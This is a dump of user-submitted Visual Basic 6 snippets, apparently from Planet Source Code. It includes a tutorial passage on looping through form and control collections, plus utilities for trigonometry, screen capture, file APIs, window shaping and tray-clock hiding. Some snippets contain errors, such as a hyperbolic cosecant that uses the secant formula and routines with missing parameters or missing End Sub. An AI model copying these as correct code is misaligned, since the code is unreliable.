is reassigned to contain the current form object. So when you say \"frmForm.Show\", VB interprets it as frmSplash.Show, frmMainMenu.Show, or whatever form is currently being proccessed. \n \nNext frmForm\nWraps up the loop. This will return execution back to the For Each… statement above it. Code execution will pass through this loop once for each form in the Forms collection.\n \nNow that you understand the basic logic of iterating through collections, you can see how this could be put to practical use. To cascade all open forms on the screen, you could modify the code to this:\nFunction CascadeForms\nDim intTop As Integer\nDim intLeft As Integer\nDim frmForm as Form\nFor each frmForm in Forms\nIf frmForm.Visible = True Then<DIR>\n<DIR>\n\t\tIntTop = intTop + 100\n\t\tIntLeft = IntLeft + 100\n\t\tFrmForm.Top = IntTop\n\t\tFrmForm.Left = IntLeft\t\t\t\t\n\tEnd if</DIR>\n</DIR>\nNext frmForm\nEnd Function\nThis code will place forms over each other in cascade style, starting at coordinates 100,100 and moving down and to the right in increments of 100. It took almost as many letters to explain it as it does to write it!\nThe thing to note in this example is that ALL of the forms’ properties and functions are available as you loop though the collection. For example, you could have changed the caption of each one or the border style of only certain ones. \nOK…enough about forms. Where else can these really cool collections be used? How about within a form? This code will print a list of all objects on a form to the debug window:\nFunction ShowObjects<DIR>\n<DIR>\n\tDim objObject as Object\n\tFor each objObject in Me<DIR>\n<DIR>\n\t\tDebug.Print objObject.Name</DIR>\n</DIR>\n\tNext objObject</DIR>\n</DIR>\nEnd Function\nThis will work whether you have one or 1000 objects on a form…although I wouldn’t recommend putting that many controls on a single form…but hey, it would work with it! \nThe thing to note in the above code (besides the obvious compactness of it) is the use of the Me keyword. This is important. Me translates in VB to \"Whichever form this code is running in\". It is used to reference the Objects collection for the current form. This means that you could copy this code from one form and paste it directly into another and it would work with NO code changes. Here is a more practical example of the objects collection:\nYou have a form with 25 text boxes on it and you want to automatically center them when the user resizes the form. You could write some pretty painful code to do this, or you could do this:\nPrivate Sub Form_Resize()<DIR>\n<DIR>\n\tDim objObject as Object\n\tFor each objObject in Me<DIR>\n<DIR>\n\t\tObjObject.Left = (Me.Width / 2) - (objObject.Width / 2)</DIR>\n</DIR>\n\tNext objObject</DIR>\n</DIR>\nEnd sub\nThis code will center any objects, no matter what their widths. With a little imagination, you can probably see how this same concept could be used to resized objects in a form as well. In fact, for the curious, I have already posted a sample project with the code to do just that in it. You can take a look at it by <A HREF=\"http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9135\">clicking here</A>.\nI hope you have found this article helpful. If you would like to have me post a follow up showing more advanced techniques for using collections, please leave some helpful comments and maybe a rating at PlanetSourceCode</A>. \nHave Fun!\nM@\nPS: For information on using the Microsoft Jet Database collections, <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.11529/lngWId.1/qx/vb/scripts/ShowCode.htm\"> Click Here </a> to view my second collections tutorial.\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":8301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8349,"LineNumber":1,"line":"Function ShellAndWait(FileName As String)\nDim objScript\nOn Error GoTo ERR_OpenForEdit\nSet objScript = CreateObject(\"WScript.Shell\")\n' Open a file for editing in Notepad and wait for return.\n'The second parameter (after the FileName) is the Display Mode (normal w/focus,\n'minimized...even hidden. For more info visit:\n'http://msdn.microsoft.com/scripting/windowshost/doc/wsMthRun.htm\n' The third parameter is the \"Wait for return\" parameter. This should be set to\n' True for the Wait.\nShellApp = objScript.Run(FileName, 1, True)\nShellAndWait = True\nEXIT_OpenForEdit:\n Exit Function\nERR_OpenForEdit:\n MsgBox Err.Description\n GoTo EXIT_OpenForEdit\nEnd Function\n"},{"WorldId":1,"id":8369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7255,"LineNumber":1,"line":"'Code created by Jonathan Jarvis - Jman\n'Email: roboman1@email.com\n'as of now this will require a listbox with a name of \"List1\"\nPrivate Sub getfiletoopen(filename As String)\nList1.AddItem filename\nEnd Sub\nPrivate Sub Form_Load()\n'create variables\nDim howlong, n As Integer, c As String\n'give variables values\nc = Command\nn = 1\nFor howlong = Len(Command) To 1 Step -1 ' start loop statement\nIf Mid(c, n, 1) = \" \" Then 'check to see if It should seperate commands\ngetfiletoopen Mid(c, 1, n - 1) 'pick out the command from line only Mid(c, 1, n - 1) is the command file\nc = Right(c, Len(c) - n) 'change command and get rid of last handled file\nn = 0 'reset letter to 0\nEnd If\nn = n + 1 'increment to next letter\nNext howlong 'go on to next letter\n'takes care of last command line or 1st one if only one file is to be opened\nIf c <> \"\" Then ' checks to see if there is a 1st or last command\ngetfiletoopen c ' you can change this to load your file or command. c is the command parameter of the last file\nEnd If\nEnd Sub"},{"WorldId":1,"id":7327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7348,"LineNumber":1,"line":"Private Sub Space_Images()\nDim PicCols As Integer\nDim PicRows As Integer\nDim HExtraSpace As Integer\nDim VExtraSpace As Integer\nDim HSpacing As Integer\nDim VSpacing As Integer\nDim i As Integer\nDim j As Integer\nDim k As Integer\nOn Error Resume Next\n 'Calculate the appropriate spacings\n PicCols = CInt((Me.Width / picPicture(0).Width) - 0.5)\n PicRows = CInt((Me.Height / picPicture(0).Height) - 0.5)\n HExtraSpace = Me.Width - (picPicture(0).Width * PicCols)\n VExtraSpace = Me.Height - (picPicture(0).Height * PicRows)\n HSpacing = CInt((HExtraSpace / (PicCols + 1)) - 0.5)\n VSpacing = CInt((VExtraSpace / (PicRows + 1)) - 0.5)\n \n 'Display the background images\n For i = 0 To PicRows - 1\n For j = 0 To PicCols - 1\n k = (PicCols * i) + j\n Load picPicture(k)\n picPicture(k).Left = (HSpacing * (j + 1)) + (picPicture(0).Width * j)\n picPicture(k).Top = (VSpacing * (i + 1)) + (picPicture(0).Height * i)\n picPicture(k).Visible = True\n Next j\n Next i\n \nEnd Sub\n"},{"WorldId":1,"id":7325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8948,"LineNumber":1,"line":"Public Function InvSin(Number As Double) As Double\n InvSin = CutDecimal(Atn(Number / Sqr(-Number * Number + 1)), 87)\nEnd Function\nPublic Function InvCos(Number As Double) As Double\n InvCos = Atn(-Number / Sqr(-Number * Number + 1)) + 2 * Atn(1)\nEnd Function\nPublic Function InvSec(Number As Double) As Double\n InvSec = Atn(Number / Sqr(Number * Number - 1)) + Sgn((Number) - 1) * (2 * Atn(1))\nEnd Function\nPublic Function InvCsc(Number As Double) As Double\n InvCsc = Atn(Number / Sqr(Number * Number - 1)) + (Sgn(Number) - 1) * (2 * Atn(1))\nEnd Function\nPublic Function InvCot(Number As Double) As Double\n InvCot = Atn(Number) + 2 * Atn(1)\nEnd Function\nPublic Function Sec(Number As Double) As Double\n Sec = 1 / Cos(Number * PI / 180)\nEnd Function\nPublic Function Csc(Number As Double) As Double\n Csc = 1 / Sin(Number * PI / 180)\nEnd Function\nPublic Function Cot(Number As Double) As Double\n Cot = 1 / Tan(Number * PI / 180)\nEnd Function\nPublic Function HSin(Number As Double) As Double\n HSin = (Exp(Number) - Exp(-Number)) / 2\nEnd Function\nPublic Function HCos(Number As Double) As Double\n HCos = (Exp(Number) + Exp(-Number)) / 2\nEnd Function\nPublic Function HTan(Number As Double) As Double\n HTan = (Exp(Number) - Exp(-Number)) / (Exp(Number) + Exp(-Number))\nEnd Function\nPublic Function HSec(Number As Double) As Double\n HSec = 2 / (Exp(Number) + Exp(-Number))\nEnd Function\nPublic Function HCsc(Number As Double) As Double\n HCsc = 2 / (Exp(Number) + Exp(-Number))\nEnd Function\nPublic Function HCot(Number As Double) As Double\n HCot = (Exp(Number) + Exp(-Number)) / (Exp(Number) - Exp(-Number))\nEnd Function\nPublic Function InvHSin()\n InvHSin = Log(Number + Sqr(Number * Number + 1))\nEnd Function\nPublic Function InvHCos(Number As Double) As Double\n InvHCos = Log(Number + Sqr(Number * Number - 1))\nEnd Function\nPublic Function InvHTan(Number As Double) As Double\n InvHTan = Log((1 + Number) / (1 - Number)) / 2\nEnd Function\nPublic Function InvHSec(Number As Double) As Double\n InvHSec = Log((Sqr(-Number * Number + 1) + 1) / Number)\nEnd Function\nPublic Function InvHCsc(Number As Double) As Double\n InvHCsc = Log((Sgn(Number) * Sqr(Number * Number + 1) + 1) / Number)\nEnd Function\nPublic Function InvHCot(Number As Double) As Double\n InvHCot = Log((Number + 1) / (Number - 1)) / 2\nEnd Function\nPublic Function Percent(is_ As Double, of As Double) As Double\n Percent = is_ / of * 100\nEnd Function\n"},{"WorldId":1,"id":8922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7346,"LineNumber":1,"line":"Public Function CaptureScreen(PicDest As Object)\n \n DeskWnd& = GetDesktopWindow\n deskdc& = GetDC(DeskWnd&)\n \n Call BitBlt(PicDest.hDC, 0&, 0&, Screen.Width, Screen.Height, deskdc&, _\n 0&, 0&, SRCCOPY)\n \n Call ReleaseDC(deskdc&, 0&)\n \n PicDest.Refresh\nEnd Function"},{"WorldId":1,"id":7347,"LineNumber":1,"line":"Public Function CutDecimal(Number As String, ByPlace As Byte) As String\n Dim Dec As Byte\n \n Dec = InStr(1, Number, \".\", vbBinaryCompare) ' find the Decimal\n\n If Dec = 0 Then\n CutDecimal = Number 'if there is no decimal Then dont do anything\n Exit Function\n End If\n CutDecimal = Mid(Number, 1, Dec + ByPlace) 'How many places you want after the decimal point\nEnd Function\n\nFunction GiveByteValues(Bytes As Double) As String\n \n If Bytes < BYTEVALUES.KiloByte Then\n GiveByteValues = Bytes & \" Bytes\"\n \n ElseIf Bytes >= BYTEVALUES.GigaByte Then\n GiveByteValues = CutDecimal(Bytes / BYTEVALUES.GigaByte, 2) & \" Gigabytes\"\n \n ElseIf Bytes >= BYTEVALUES.MegaByte Then\n GiveByteValues = CutDecimal(Bytes / BYTEVALUES.MegaByte, 2) & \" Megabytes\"\n \n ElseIf Bytes >= BYTEVALUES.KiloByte Then\n GiveByteValues = CutDecimal(Bytes / BYTEVALUES.KiloByte, 2) & \" Kilobytes\"\n End If\nEnd Function\n"},{"WorldId":1,"id":9851,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10272,"LineNumber":1,"line":"Public Function EncodeText(TheText As String) As String\nDim Letter As String\nDim TextLen As Integer\nDim Crypt As Double\n \n TextLen = Len(TheText)\n \n \n For Crypt = 1 To TextLen\n Letter = Asc(Mid(TheText, Crypt, 1))\n Letter = Letter Xor 255\n Result$ = Result$ & Chr(Letter)\n Next Crypt\n \n EncodeText = Result$\nEnd Function"},{"WorldId":1,"id":7339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7364,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function GetVolumeInformation& Lib \"kernel32\" _\n Alias \"GetVolumeInformationA\" (ByVal lpRootPathName _\n As String, ByVal pVolumeNameBuffer As String, ByVal _\n nVolumeNameSize As Long, lpVolumeSerialNumber As Long, _\n lpMaximumComponentLength As Long, lpFileSystemFlags As _\n Long, ByVal lpFileSystemNameBuffer As String, ByVal _\n nFileSystemNameSize As Long)\nConst MAX_FILENAME_LEN = 256\nPrivate Sub Command1_Click()\n Label1.Caption = SerNum(\"C\") 'C is the standard harddisk\nEnd Sub\nPublic Function SerNum(Drive$) As Long\n Dim No&, s As String * MAX_FILENAME_LEN\n Call GetVolumeInformation(Drive + \":\\\", s, MAX_FILENAME_LEN, _\n No, 0&, 0&, s, MAX_FILENAME_LEN)\n SerNum = No\nEnd Function\nPrivate Sub Form_Load()\nEnd Sub\n"},{"WorldId":1,"id":7439,"LineNumber":1,"line":"Private Sub Command1_Click()\nOn Error Resume Next\nDim fso As Object\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\nSet fld = fso.createfolder(\"c:\\windowscopy\")\n' For Example:\npath1$ = \"c:\\win98\\config\"\npath2$ = \"c:\\windowscopy\\\"\nIf fso.folderexists(path1$) Then\nIf Not fso.folderexists(\"c:\\windowscopy\") Then\n'Generate Path\nSet fld = fso.createfolder(\"c:\\windowscopy\")\nEnd If\n'Copy now\nfso.copyfolder path1$, path2$, True\n'On Error:\nElse\nMsgBox \"Verzeichnis konnte nicht kopiert werden!\"\nEnd If\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nSet fso = Nothing\nEnd Sub\n"},{"WorldId":1,"id":7367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7345,"LineNumber":1,"line":"Private Sub grdDataGrid_HeadClick(ByVal ColIndex As Integer)\n Dim strColName As String\n Static bSortAsc As Boolean\n Static strPrevCol As String\n \n strColName = grdDataGrid.Columns(ColIndex).DataField\n \n' Did the user click again on the same column ? If so, check\n' the previous state, in order to toggle between sorting ascending\n' or descending. If this is the first time the user clicks on a column\n' or if he/she clicks on another column, then sort ascending.\n If strColName = strPrevCol Then\n If bSortAsc Then\n adoPrimaryRS.Sort = strColName & \" DESC\"\n bSortAsc = False\n Else\n adoPrimaryRS.Sort = strColName\n bSortAsc = True\n End If\n Else\n adoPrimaryRS.Sort = strColName\n bSortAsc = True\n End If\n \n strPrevCol = strColName\nEnd Sub\n"},{"WorldId":1,"id":7605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7358,"LineNumber":1,"line":"'\n' A simple demo on how to write a HTML renderer.\n' written by Dan Ushman <ushman@mediaone.net>\n' Please visit Refsoft at www.refsoft.com\n'\n' This code is free. It is not restricted in ANY way\n' you can use it, take credit for it, do what ever you want\n' with it. I honestly don't care.\n'\n' I know its not perfect, but I did not spend to much\n' time on it. I wrote this in 10 minutes one night\n' when I was bored.\n'\n' Anyway, please E-mail me and tell me what you think\n' And...\n'\n' Enjoy,\n' Dan Ushman - ushman@mediaone.net - www.refsoft.com\n'\nOption Explicit 'Many programmers do not use this. What they dont know is\n 'weather or not they declare there variables can and will\n 'have a large effect on how much memory your program will use\n 'and how stable it will be. I recommend that every one\n 'use this line of code, and declare every variable they use\n 'I learned this the hard way, while writting Uut I was wondering why\n 'it took so much ram... Well , thats all.\nSub RenderHTML(pic As PictureBox, html As String)\n \n '\n ' Always declare variables\n '\n \n 'Integers\n Dim lentext As Integer\n Dim html_loop_1 As Integer 'The main loop\n Dim html_loop_2 As Integer 'Secondary loop\n Dim html_pos_1 As Integer 'Opening carret\n Dim html_pos_2 As Integer 'Closing carret\n \n 'Strings\n Dim str_html As String 'The copy of the original HTML string\n Dim html_tag As String 'Stores the tag...\n Dim html_text As String 'Stores the text to be modified by the tags\n Dim cur_char As String 'Used in the loops, one char at a time\n \n 'Boolean\n Dim open_c As Boolean 'Is it an opening carret?\n Dim close_c As Boolean 'Is it a closing carret?\n \n '\n ' Get the length of the HTML and some other things...\n '\n lentext = Len(html) 'The length of the HTML string\n str_html = html 'The copy of the original HTML string\n \n \n '\n ' Loop though the HTML\n '\n For html_loop_1 = 1 To lentext 'The main loop\n html_pos_1 = InStr(str_html, \"<\") 'Find the locations of the Opening and Closing carrets\n html_pos_2 = InStr(str_html, \">\")\n \n cur_char = Mid(str_html, html_loop_1, 1) 'Go though the HTML byte by byte\n \n If cur_char = \"<\" Then 'Is it an openning carret?\n open_c = True\n close_c = False\n html_tag = \"\" 'Clear the tag variable, for now.\n ElseIf cur_char = \">\" Then 'Maby not...\n open_c = False\n close_c = True\n If InStr(html_tag, \"<\") Then\n html_tag = Right(html_tag, Len(html_tag) - InStr(html_tag, \"<\"))\n End If\n End If\n \n If open_c = True And close_c = False Then 'If the carret is currently open...\n html_tag = html_tag & cur_char 'combine all the chrs after it until the carret closes...\n End If 'I am very sure there are tons of better ways to do this,\n 'but this works fine.\n \n If close_c = True And open_c = False Then\n If Not cur_char = \"<\" And Not cur_char = \">\" Then\n html_text = html_text & cur_char 'Add each char together aslong as its not a carret (both kinds) or\n End If 'part of a tag. This part could use some work, its not perfect and is rather buggy.\n End If\n \n '\n 'So far this little project of mine only supports BOLD, ITALIC and UNDERLINE HTML tags. I may or may not\n 'add more support. I am lazy, so don't bet your dinner.\n '\n \n If close_c = True And open_c = False Then\n html_tag = LCase(html_tag) 'Make sure the tag is lowercase.\n Select Case html_tag 'Start going though the tag, and doing what it wants us to do\n Case Is = \"b\"\n pic.FontBold = True 'If the tag is on, make the text bold, else dont...\n Case Is = \"i\"\n pic.FontItalic = True\n Case Is = \"u\"\n pic.FontUnderline = True\n Case Is = \"/b\"\n pic.FontBold = False\n Case Is = \"/i\"\n pic.FontItalic = False\n Case Is = \"/u\"\n pic.FontUnderline = False\n End Select\n pic.Print html_text;\n html_text = \"\" 'Clear the variables when we are done.\n html_tag = \"\"\n End If\n \n Next html_loop_1 'And we are on our way... again.\n \nEnd Sub\n"},{"WorldId":1,"id":7362,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8124,"LineNumber":1,"line":"-------------------\nVB CODE:\n(START A NEW PROJECT, REPLACE THE EXISTING CODE WITH THIS:)\n-------------------\nOption Explicit\nPrivate Declare Function CountLetters Lib \"..\\delphi\\project1.dll\" (ByVal Str As String) As Long\nPrivate Sub Form_Load()\n Call CountLetters(\"This is a teststring, passed to a function in a delphi DLL\")\nEnd Sub\n-------------------\nDELPHI CODE\n(START A NEW LIBRARY, REPLACE THE EXISTING CODE WITH THIS:)\n-------------------\nlibrary Project1;\nuses\n Windows,\n SysUtils;\nfunction CountLetters(pData : PChar) : Cardinal; export; stdcall;\nvar\n Handle : Integer;\n tMsg : String;\nbegin\n tMsg := 'The string passed by you; \"' + pData + '\" is counting ' + IntToStr(Length(pData)) + ' letters.';\n MessageBoxA(Handle, pChar(tMsg), 'Delphi DLL', MB_OK);\nend;\nexports\n CountLetters name 'CountLetters' resident;\nbegin\nend.\n"},{"WorldId":1,"id":8440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7408,"LineNumber":1,"line":"'create 2 command buttons, call the first one \"Open\" and the second one \"Close\"\n'create a label \n\nPrivate Sub Form_Load()\ncommand1.tag = \"open\"\nPrivate Sub Command1_Click()\nIf Command1.Tag = \"open\" Then\nretvalue = mciSendString(\"set CDAudio door open\", _\nreturnstring, 127, 0)\nCommand1.Tag = \"closed\"\nElse\nretvalue = mciSendString(\"set cdaudio door closed\", returnstring, 127, 0)\nCommand1.Tag = \"open\"\nEnd If\nLabel1.Caption = Command1.Tag 'place a label to check to tag property of the command button\n\n"},{"WorldId":1,"id":7417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7508,"LineNumber":1,"line":"Option Explicit\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Declare Function BeginPath Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function TextOut Lib \"gdi32\" Alias \"TextOutA\" (ByVal hdc As Long, _\n ByVal X As Long, ByVal Y As Long, _\n ByVal lpString As String, _\n ByVal nCount As Long) As Long\nPrivate Declare Function EndPath Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function PathToRegion Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function GetRgnBox Lib \"gdi32\" (ByVal hRgn As Long, lpRect As RECT) _\n As Long\nPrivate Declare Function CreateRectRgnIndirect Lib \"gdi32\" (lpRect As RECT) As Long\nPrivate Declare Function CombineRgn Lib \"gdi32\" (ByVal hDestRgn As Long, _\n ByVal hSrcRgn1 As Long, _\n ByVal hSrcRgn2 As Long, _\n ByVal nCombineMode As Long) As Long\nPrivate Const RGN_AND = 1\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" _\n (ByVal hwnd As Long, ByVal hRgn As Long, _\n ByVal bRedraw As Boolean) As Long\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" _\n (ByVal hwnd As Long, _\n ByVal wMsg As Long, ByVal wParam As Long, _\n lParam As Any) As Long\nPrivate Const WM_NCLBUTTONDOWN = &HA1\nPrivate Const HTCAPTION = 2\n\nPrivate Function GetTextRgn() As Long\n Dim hRgn1 As Long, hRgn2 As Long\n Dim rct As RECT\n \n BeginPath hdc\n TextOut hdc, 10, 10, Chr$(255), 1\n EndPath hdc\n hRgn1 = PathToRegion(hdc)\n GetRgnBox hRgn1, rct\n hRgn2 = CreateRectRgnIndirect(rct)\n CombineRgn hRgn2, hRgn2, hRgn1, RGN_AND\n 'Return the region handle\n DeleteObject hRgn1\n GetTextRgn = hRgn2\nEnd Function\nPrivate Sub Form_DblClick()\n Unload Me\nEnd Sub\n\nPrivate Sub Form_Load()\n Dim hRgn As Long\n Me.Font.Name = \"Wingdings\"\n Me.Font.Size = 200\n hRgn = GetTextRgn()\n MsgBox \"Remember, Double Click on Flag to Close Me\", vbInformation\n SetWindowRgn hwnd, hRgn, 1\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n ReleaseCapture\n SendMessage hwnd, WM_NCLBUTTONDOWN, HTCAPTION, ByVal 0&\nEnd Sub\nPrivate Sub Timer1_Timer()\n Me.BackColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)\nEnd Sub"},{"WorldId":1,"id":7526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7528,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9169,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8204,"LineNumber":1,"line":"'Create one form, two buttons and one module\n'Put this code in the module\nPublic Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nPublic Declare Function FindWindowEx Lib \"user32\" Alias \"FindWindowExA\" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long\nPublic Declare Function ShowWindow Lib \"user32\" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long\nPublic Function HideClock()\nDim FindClass As Long, FindParent As Long, Handle As Long\nFindClass& = FindWindow(\"Shell_TrayWnd\", vbNullString)\nFindParent& = FindWindowEx(FindClass&, 0, \"TrayNotifyWnd\", vbNullString)\nHandle& = FindWindowEx(FindParent&, 0, \"TrayClockWClass\", vbNullString)\nShowWindow Handle&, 0\nEnd Function\nPublic Function ShowClock()\nDim FindClass As Long, FindParent As Long, Handle As Long\nFindClass& = FindWindow(\"Shell_TrayWnd\", vbNullString)\nFindParent& = FindWindowEx(FindClass&, 0, \"TrayNotifyWnd\", vbNullString)\nHandle& = FindWindowEx(FindParent&, 0, \"TrayClockWClass\", vbNullString)\nShowWindow Handle&, 1\nEnd Function\n'Put his code in the form\nPrivate Sub Command1_Click()\nHideClock\nEnd Sub\nPrivate Sub Command2_Click()\nShowClock\nEnd Sub\n"},{"WorldId":1,"id":8219,"LineNumber":1,"line":"'Dont erase the ,vbHide\n'If you do it then an ugly DOS box will be shown when your launching the link\n\n'For homepage\nShell (\"Start http://www.FireStorm.Now.Nu\"), vbHide\n'For mail\nShell (\"Start mailto:FireStorm@GoToMy.com\"), vbHide"},{"WorldId":1,"id":8173,"LineNumber":1,"line":"Private Sub Form_Load()\nIf App.PrevInstance = True Then MsgBox \"This app is already running\":End\nEnd Sub"},{"WorldId":1,"id":7549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9966,"LineNumber":1,"line":"Private Sub Command1_Click()\nMkDir \"c:\\New Folder\"\nEnd Sub"},{"WorldId":1,"id":10128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64918,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8663,"LineNumber":1,"line":"Public Function GetDriveInfo(DriveName As String) As String\n retval = GetDiskFreeSpace_FAT32(Left(DriveName, 2), FB, BT, FBT)\nFBT = FBT * 10000 'convert result to actual size in bytes\n If FBT / Gigabyte < 1 Then 'If less than 1GB then show as MB\n DriveSize = Format(FBT / Megabyte, \"####,###,###\") & \" MB free\"\n Else 'Show as GB\n DriveSize = Format(FBT / Gigabyte, \"####,###,###.00\") & \" GB free\"\n End If\n \n GetDriveInfo = \"[\" & DriveSize & \"]\"\nEnd Function\n"},{"WorldId":1,"id":9831,"LineNumber":1,"line":"Option Explicit\nPrivate Const GENERIC_WRITE As Long = &H40000000\nPrivate Const GENERIC_READ As Long = &H80000000\nPrivate Const FILE_ATTRIBUTE_NORMAL As Long = &H80\nPrivate Const CREATE_ALWAYS As Long = 2\nPrivate Const OPEN_ALWAYS As Long = 4\nPrivate Const INVALID_HANDLE_VALUE As Long = -1\nPrivate Declare Function GetFileSize Lib \"kernel32\" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long\nPrivate Declare Function ReadFile Lib \"kernel32\" (ByVal hFile As Long, ByVal lpBuffer As Long, _\n ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, _\n ByVal lpOverlapped As Long) As Long\nPrivate Declare Function CloseHandle Lib \"kernel32\" (ByVal hObject As Long) As Long\nPrivate Declare Function WriteFile Lib \"kernel32\" (ByVal hFile As Long, _\n lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, _\n lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long\nPrivate Declare Function CreateFile Lib \"kernel32\" _\n Alias \"CreateFileA\" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, _\n ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, _\n ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, _\n ByVal hTemplateFile As Long) As Long\nPrivate Declare Function SetFileTime Lib \"kernel32\" (ByVal hFile As Long, _\n lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, _\n lpLastWriteTime As FILETIME) As Long\nPrivate Declare Function SystemTimeToFileTime Lib \"kernel32\" _\n (lpSystemTime As SYSTEMTIME, lpFileTime As FILETIME) As Long\n \nPrivate Declare Function FileTimeToSystemTime Lib \"kernel32\" _\n (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long\nPrivate Declare Sub GetSystemTime Lib \"kernel32\" (lpSystemTime As SYSTEMTIME)\nPrivate Type FILETIME\n dwLowDateTime As Long\n dwHighDateTime As Long\nEnd Type\nPrivate Type SYSTEMTIME\n wYear As Integer\n wMonth As 